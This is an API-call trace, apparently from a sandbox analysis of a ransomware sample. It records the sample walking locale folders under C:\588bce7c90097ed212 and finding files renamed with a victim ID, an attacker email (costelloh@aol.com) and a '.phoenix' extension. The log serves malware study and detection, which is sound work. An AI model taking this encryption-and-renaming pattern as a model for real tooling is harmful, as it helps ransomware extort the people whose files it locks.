	[0219.073] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.073] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1bc9aa, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1bc9aa, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d1e2968, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.074] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1e2968, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1e2968, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d208cc4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.074] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cce24e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cce24e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.074] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cce24e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cce24e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.074] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.075] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.075] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1
	[0219.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.075] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.075] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1e2968, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d1e2968, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d208cc4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.075] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d208cc4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d208cc4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d22eff4, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.076] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd1df33, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd1df33, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cd440f7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.076] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd1df33, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd1df33, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cd440f7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.076] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.076] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.076] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1
	[0219.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.077] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.077] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d208cc4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d208cc4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6a7fd0, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.077] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d22eff4, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d22eff4, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d27b31f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.077] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd440f7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd440f7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cff2bb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.078] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd440f7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cd440f7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cff2bb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.078] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.078] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.078] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1
	[0219.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.079] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.079] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.079] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7b264c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.080] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cff2bb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cff2bb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.080] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cff2bb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cff2bb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d019f84, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.080] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.081] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.081] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1
	[0219.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.081] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.082] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b264c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7b264c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d8974f5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.082] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7fea41, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7fea41, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d8bd5ef, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.082] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.082] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.082] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.083] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.083] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1
	[0219.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.083] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.084] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d955fab, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d955fab, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3da14bba, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.084] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9a248a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d9a248a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dafbd06, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.084] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.084] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.084] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.085] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.085] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1
	[0219.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
